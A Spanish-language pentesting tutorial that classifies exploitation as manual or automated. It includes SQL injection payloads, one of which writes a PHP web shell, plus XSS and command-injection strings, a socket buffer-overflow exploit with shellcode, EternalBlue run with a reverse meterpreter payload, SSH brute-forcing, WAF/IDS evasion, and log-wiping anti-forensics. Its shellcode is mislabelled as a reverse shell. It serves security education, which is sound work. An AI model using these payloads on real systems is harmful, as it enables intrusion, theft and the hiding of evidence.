Tipos de Explotación en Pentesting

Tipos de Explotación en Pentesting

Introducción

La explotación es una fase crítica del pentesting donde se aprovechan las vulnerabilidades identificadas para obtener acceso no autorizado a sistemas, aplicaciones o datos. Comprender los diferentes tipos de explotación es fundamental para desarrollar estrategias efectivas de ataque y defensa.

¿Qué es la Explotación?

La explotación es el proceso de aprovechar una vulnerabilidad de seguridad para lograr un comportamiento no intencionado o no autorizado en un sistema informático. Esto puede incluir:

• Acceso no autorizado a sistemas o datos
• Escalación de privilegios para obtener mayor control
• Ejecución de código malicioso en el sistema objetivo
• Denegación de servicio para interrumpir operaciones
• Exfiltración de datos sensibles o confidenciales

Clasificación Principal: Manual vs Automatizada

Explotación Manual

La explotación manual es un enfoque artesanal que requiere intervención humana directa y conocimiento especializado del atacante.

Características Principales

• Control granular: El atacante tiene control total sobre cada paso
• Precisión: Permite ajustes específicos según el entorno
• Sigilo: Menor probabilidad de detección por sistemas automatizados
• Flexibilidad: Adaptación en tiempo real a condiciones cambiantes
• Conocimiento profundo: Requiere expertise técnico avanzado

Ventajas

✅ Mayor precisión en el ataque
✅ Menor generación de ruido en logs
✅ Adaptabilidad a entornos únicos
✅ Control total del proceso
✅ Evasión efectiva de defensas
✅ Personalización completa

Desventajas

❌ Tiempo de ejecución prolongado
❌ Requiere alta especialización
❌ No escalable a múltiples objetivos
❌ Propenso a errores humanos
❌ Costo elevado en recursos humanos

Ejemplos Prácticos

# Explotación manual de SQL Injection
# 1. Identificación manual de parámetros vulnerables
curl "http://target.com/login.php?id=1'"

# 2. Prueba manual de payloads específicos
curl "http://target.com/login.php?id=1' UNION SELECT 1,2,3--"

# 3. Extracción manual de datos
curl "http://target.com/login.php?id=1' UNION SELECT username,password,email FROM users--"

# Explotación manual de Buffer Overflow
# 1. Análisis manual del binario
gdb ./vulnerable_app
disas main

# 2. Creación manual del exploit
python3 -c "print('A'*268 + '\xef\xbe\xad\xde')" | ./vulnerable_app

Explotación Automatizada

La explotación automatizada utiliza herramientas, scripts y frameworks para ejecutar ataques de forma sistemática y escalable.

Características Principales

• Velocidad: Ejecución rápida de múltiples intentos
• Escalabilidad: Ataque simultáneo a múltiples objetivos
• Consistencia: Resultados reproducibles y estandarizados
• Eficiencia: Menor costo en tiempo y recursos humanos
• Cobertura amplia: Prueba de múltiples vectores de ataque

Ventajas

✅ Velocidad de ejecución alta
✅ Escalabilidad a gran escala
✅ Consistencia en resultados
✅ Menor costo operativo
✅ Cobertura exhaustiva
✅ Reproducibilidad

Desventajas

❌ Mayor generación de logs y alertas
❌ Menor precisión en entornos específicos
❌ Detección más fácil por sistemas de seguridad
❌ Flexibilidad limitada
❌ Falsos positivos frecuentes

Ejemplos Prácticos

# Explotación automatizada con Metasploit
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.0/24
set THREADS 50
exploit

# Explotación automatizada con SQLMap
sqlmap -u "http://target.com/login.php?id=1" --batch --dbs

# Explotación automatizada con Nmap NSE
nmap --script vuln 192.168.1.0/24

Clasificación por Vector de Ataque

1. Explotación de Aplicaciones Web

SQL Injection

-- Bypass de autenticación
admin'--
admin' OR '1'='1'--

-- Extracción de datos
' UNION SELECT table_name FROM information_schema.tables--

-- Ejecución de comandos (MySQL)
'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'--

Cross-Site Scripting (XSS)

// XSS Reflejado
<script>alert('XSS')</script>

// XSS Almacenado
<img src=x onerror=alert('Stored XSS')>

// XSS Basado en DOM
javascript:alert(document.cookie)

Command Injection

# Inyección básica
; ls -la
| whoami
&& cat /etc/passwd

# Bypass de filtros
`cat /etc/passwd`
$(cat /etc/passwd)
{cat,/etc/passwd}

2. Explotación de Servicios de Red

Buffer Overflow

#!/usr/bin/env python3
# Exploit básico de Buffer Overflow

import socket

# Shellcode para reverse shell
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Construcción del payload
buffer = "A" * 268  # Offset hasta EIP
eip = "\xef\xbe\xad\xde"  # Dirección de retorno
nops = "\x90" * 16  # NOP sled
payload = buffer + eip + nops + shellcode

# Envío del exploit
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()

SMB Exploitation

# EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

# SMBGhost (CVE-2020-0796)
use exploit/windows/smb/cve_2020_0796_smbghost

3. Explotación de Sistemas Operativos

Privilege Escalation (Linux)

# SUID Binaries
find / -perm -u=s -type f 2>/dev/null

# Kernel Exploits
uname -a
searchsploit linux kernel 4.15

# Sudo Misconfigurations
sudo -l
sudo vim -c ':!/bin/bash'

# Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*

Windows Privilege Escalation

# Unquoted Service Paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Token Impersonation
whoami /priv

Metodologías de Explotación

1. Metodología PTES (Penetration Testing Execution Standard)

# Fase 1: Pre-engagement
- Definición de alcance
- Reglas de engagement
- Objetivos específicos

# Fase 2: Intelligence Gathering
- Reconocimiento pasivo
- Footprinting
- OSINT

# Fase 3: Threat Modeling
- Identificación de vectores de ataque
- Análisis de superficie de ataque
- Priorización de objetivos

# Fase 4: Vulnerability Analysis
- Escaneo de vulnerabilidades
- Análisis manual
- Validación de vulnerabilidades

# Fase 5: Exploitation
- Desarrollo de exploits
- Ejecución de ataques
- Obtención de acceso inicial

# Fase 6: Post Exploitation
- Escalación de privilegios
- Movimiento lateral
- Persistencia

# Fase 7: Reporting
- Documentación de hallazgos
- Recomendaciones
- Plan de remediación

2. Metodología OWASP Testing Guide

# Information Gathering
- Fingerprinting del servidor web
- Revisión de metafiles
- Enumeración de aplicaciones

# Configuration Management Testing
- Configuraciones por defecto
- Métodos HTTP innecesarios
- Archivos de backup

# Authentication Testing
- Bypass de autenticación
- Fuerza bruta
- Gestión de sesiones

# Authorization Testing
- Path traversal
- Escalación de privilegios
- Bypass de autorización

# Session Management Testing
- Cookies de sesión
- Fijación de sesión
- Exposición de tokens

# Input Validation Testing
- SQL Injection
- XSS
- Command Injection
- Buffer Overflow

# Error Handling
- Análisis de códigos de error
- Manejo de excepciones
- Stack traces

# Cryptography
- Transporte cifrado
- Algoritmos débiles
- Gestión de certificados

# Business Logic Testing
- Lógica de negocio
- Flujos de trabajo
- Validaciones del lado cliente

# Client Side Testing
- DOM XSS
- JavaScript execution
- HTML injection

Herramientas por Tipo de Explotación

Herramientas de Explotación Manual

# Análisis y Debugging
gdb                 # GNU Debugger
radare2            # Reverse engineering framework
objdump            # Object file analyzer
strace             # System call tracer
ltrace             # Library call tracer

# Desarrollo de Exploits
pwntools           # Python exploit development library
ropper             # ROP gadget finder
checksec           # Binary security checker
pattern_create     # Buffer overflow pattern generator

# Web Application Testing
Burp Suite         # Web application security testing
OWASP ZAP          # Web application scanner
curl               # Command line HTTP client
wget               # Web content retriever

Herramientas de Explotación Automatizada

# Frameworks de Explotación
Metasploit         # Comprehensive exploitation framework
Cobalt Strike      # Advanced threat emulation
Empire             # PowerShell post-exploitation agent
Canvas             # Commercial exploitation framework

# Scanners de Vulnerabilidades
Nessus             # Vulnerability scanner
OpenVAS            # Open source vulnerability scanner
Nexpose            # Vulnerability management
Qualys             # Cloud-based vulnerability scanner

# Web Application Scanners
SQLMap             # SQL injection exploitation tool
Nikto              # Web server scanner
Dirb               # Web content scanner
Gobuster           # Directory/file brute-forcer

# Network Exploitation
Nmap               # Network discovery and security auditing
Masscan            # High-speed port scanner
Zmap               # Internet-wide network scanner

Scripts de Automatización

Multi-Exploit Scanner

multi_exploit_scanner.sh

#!/bin/bash
TARGET=$1
OUTPUT_DIR="exploit_results_$(date +%Y%m%d_%H%M%S)"

if [ $# -ne 1 ]; then
    echo "Uso: $0 <target>"
    exit 1
fi

mkdir -p $OUTPUT_DIR

echo "[+] Iniciando escaneo de explotación múltiple para $TARGET"

# Nmap vulnerability scan
echo "[+] Ejecutando Nmap vulnerability scan..."
nmap --script vuln -oN $OUTPUT_DIR/nmap_vuln.txt $TARGET

# Web application testing
echo "[+] Probando aplicaciones web..."
if curl -s -I http://$TARGET | grep -q "200 OK"; then
    # Nikto scan
    nikto -h http://$TARGET -o $OUTPUT_DIR/nikto.txt

    # Directory brute force
    gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o $OUTPUT_DIR/gobuster.txt

    # SQL injection testing
    sqlmap -u "http://$TARGET" --batch --crawl=2 --output-dir=$OUTPUT_DIR/sqlmap/
fi

# SMB testing
echo "[+] Probando servicios SMB..."
if nmap -p 445 $TARGET | grep -q "open"; then
    enum4linux $TARGET > $OUTPUT_DIR/enum4linux.txt
    smbclient -L //$TARGET -N > $OUTPUT_DIR/smbclient.txt 2>&1
fi

# SSH brute force (limited)
echo "[+] Probando SSH con credenciales comunes..."
if nmap -p 22 $TARGET | grep -q "open"; then
    hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 4 ssh://$TARGET > $OUTPUT_DIR/ssh_bruteforce.txt
fi

echo "[+] Escaneo completado. Resultados en: $OUTPUT_DIR"

Exploit Development Helper

exploit_dev_helper.py

#!/usr/bin/env python3
import socket
import struct
import sys
from pwn import *

class ExploitHelper:
    def __init__(self, target_host, target_port):
        self.host = target_host
        self.port = target_port
        self.conn = None

    def connect(self):
        """Establecer conexión con el objetivo"""
        try:
            self.conn = remote(self.host, self.port)
            print(f"[+] Conectado a {self.host}:{self.port}")
            return True
        except Exception as e:
            print(f"[-] Error de conexión: {e}")
            return False

    def send_payload(self, payload):
        """Enviar payload al objetivo"""
        if not self.conn:
            print("[-] No hay conexión establecida")
            return False

        try:
            self.conn.send(payload)
            print(f"[+] Payload enviado: {len(payload)} bytes")
            return True
        except Exception as e:
            print(f"[-] Error enviando payload: {e}")
            return False

    def receive_data(self, timeout=5):
        """Recibir datos del objetivo"""
        if not self.conn:
            print("[-] No hay conexión establecida")
            return None

        try:
            data = self.conn.recv(timeout=timeout)
            print(f"[+] Datos recibidos: {len(data)} bytes")
            return data
        except Exception as e:
            print(f"[-] Error recibiendo datos: {e}")
            return None

    def buffer_overflow_test(self, buffer_size=1000):
        """Prueba básica de buffer overflow"""
        payload = b"A" * buffer_size

        print(f"[+] Probando buffer overflow con {buffer_size} bytes")

        if self.send_payload(payload):
            response = self.receive_data()
            if response:
                print(f"[+] Respuesta: {response[:100]}...")
            else:
                print("[!] Sin respuesta - posible crash")

    def fuzzing_test(self, max_size=5000, step=100):
        """Fuzzing básico para encontrar el punto de crash"""
        for size in range(100, max_size, step):
            print(f"[+] Fuzzing con {size} bytes...")

            if not self.connect():
                continue

            payload = b"A" * size
            self.send_payload(payload)

            response = self.receive_data(timeout=2)
            if not response:
                print(f"[!] Posible crash en {size} bytes")
                break

            self.conn.close()

    def close(self):
        """Cerrar conexión"""
        if self.conn:
            self.conn.close()
            print("[+] Conexión cerrada")

# Ejemplo de uso
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Uso: python3 exploit_dev_helper.py <host> <port>")
        sys.exit(1)

    host = sys.argv[1]
    port = int(sys.argv[2])

    helper = ExploitHelper(host, port)

    # Prueba de conexión
    if helper.connect():
        # Prueba básica de buffer overflow
        helper.buffer_overflow_test(1000)

        # Fuzzing para encontrar crash point
        # helper.fuzzing_test()

        helper.close()

Casos de Uso Específicos

1. Explotación de Aplicaciones Web Corporativas

# Reconocimiento inicial
nmap -sC -sV -p 80,443,8080,8443 target-corp.com

# Enumeración de directorios
gobuster dir -u https://target-corp.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

# Análisis de tecnologías
whatweb https://target-corp.com
wappalyzer https://target-corp.com

# Búsqueda de vulnerabilidades específicas
# SQL Injection
sqlmap -u "https://target-corp.com/search.php?q=test" --batch --level=3 --risk=3

# XSS Testing
echo "https://target-corp.com" | hakrawler | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -qs "<script>alert(1)</script>" && echo "XSS: $url"; done

2. Explotación de Infraestructura de Red

# Descubrimiento de red
nmap -sn 192.168.1.0/24

# Escaneo de servicios críticos
nmap -sC -sV -p 21,22,23,25,53,80,110,135,139,143,443,445,993,995,1433,3306,3389,5432 192.168.1.0/24

# Explotación de SMB
for ip in $(nmap -p 445 --open 192.168.1.0/24 | grep "Nmap scan report" | awk '{print $5}'); do
    echo "[+] Probando $ip"
    smbclient -L //$ip -N
    enum4linux $ip
done

# Explotación de SSH
hydra -L users.txt -P passwords.txt -t 4 ssh://192.168.1.0/24

3. Explotación de Aplicaciones Móviles

# Análisis estático de APK
apktool d application.apk
grep -r "password\|secret\|key" application/

# Análisis dinámico
frida -U -f com.example.app -l script.js

# Bypass de SSL Pinning
frida -U -f com.example.app --no-pause -l ssl-kill-switch.js

Técnicas de Evasión

1. Evasión de WAF (Web Application Firewall)

# Ofuscación de payloads SQL
' UNION SELECT 1,2,3--
' /*!UNION*/ /*!SELECT*/ 1,2,3--
' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--

# Bypass de filtros XSS
<script>alert(1)</script>
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=alert(1)>
javascript:alert(1)

2. Evasión de IDS/IPS

# Fragmentación de paquetes
nmap -f target.com

# Timing attacks
nmap -T1 target.com  # Paranoid timing

# Decoy scanning
nmap -D RND:10 target.com

# Source port manipulation
nmap --source-port 53 target.com

3. Anti-Forensics

# Limpieza de logs
echo "" > /var/log/auth.log
echo "" > /var/log/syslog
history -c

# Timestomping
touch -r /bin/ls malicious_file

# Uso de memoria RAM
mount -t tmpfs tmpfs /tmp/ramdisk

Detección y Defensa

Indicadores de Explotación

# Logs de sistema sospechosos
grep -i "failed\|error\|denied" /var/log/auth.log
grep -i "exploit\|attack\|malicious" /var/log/syslog

# Conexiones de red anómalas
netstat -antup | grep ESTABLISHED
ss -tulpn | grep :4444

# Procesos sospechosos
ps aux | grep -E "(nc|netcat|bash|sh)" | grep -v grep
lsof -i | grep LISTEN

Contramedidas

# Hardening del sistema
# Deshabilitar servicios innecesarios
systemctl disable telnet
systemctl disable ftp

# Configuración de firewall
iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

# Monitoreo en tiempo real
# OSSEC/Wazuh para detección de intrusiones
# Fail2ban para protección contra fuerza bruta
# Tripwire para integridad de archivos

Mejores Prácticas

Para Pentesters

# Documentación exhaustiva
- Registrar todos los pasos realizados
- Capturar evidencia de cada exploit exitoso
- Documentar falsos positivos y limitaciones

# Gestión de riesgos
- Evaluar impacto antes de ejecutar exploits
- Tener plan de rollback para cambios
- Coordinar con el equipo de operaciones

# Aspectos legales
- Mantener autorización escrita actualizada
- Respetar el alcance definido
- Reportar hallazgos críticos inmediatamente

Para Defensores

# Monitoreo proactivo
- Implementar SIEM para correlación de eventos
- Configurar alertas para patrones de ataque
- Realizar threat hunting regular

# Gestión de vulnerabilidades
- Escaneos regulares de vulnerabilidades
- Priorización basada en riesgo
- Patching oportuno de sistemas críticos

# Respuesta a incidentes
- Plan de respuesta documentado y probado
- Equipo de respuesta entrenado
- Herramientas de forense preparadas

Recursos Adicionales

Frameworks y Herramientas

• Metasploit Framework: https://www.metasploit.com/
• Cobalt Strike: https://www.cobaltstrike.com/
• Empire: https://github.com/EmpireProject/Empire
• Burp Suite: https://portswigger.net/burp

Bases de Datos de Vulnerabilidades

• CVE Database: https://cve.mitre.org/
• Exploit Database: https://www.exploit-db.com/
• NVD: https://nvd.nist.gov/
• VulnDB: https://vulndb.cyberriskanalytics.com/

Metodologías y Estándares

• PTES: http://www.pentest-standard.org/
• OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
• NIST SP 800-115: https://csrc.nist.gov/publications/detail/sp/800-115/final

Entrenamiento y Certificaciones

• OSCP: Offensive Security Certified Professional
• CEH: Certified Ethical Hacker
• GPEN: GIAC Penetration Tester
• CRTP: Certified Red Team Professional

Disclaimer Legal

⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. La explotación de vulnerabilidades debe realizarse exclusivamente en:

• Sistemas propios
• Entornos de laboratorio controlados
• Pruebas de penetración autorizadas por escrito
• Programas de bug bounty legítimos

Marco Legal:

• El uso no autorizado constituye un delito en la mayoría de jurisdicciones
• Siempre obtener autorización escrita antes de realizar pruebas
• Respetar el alcance y las limitaciones acordadas
• Reportar vulnerabilidades de manera responsable

Los autores no se hacen responsables del mal uso de esta información. El pentesting ético requiere autorización explícita y debe realizarse dentro de un marco legal apropiado.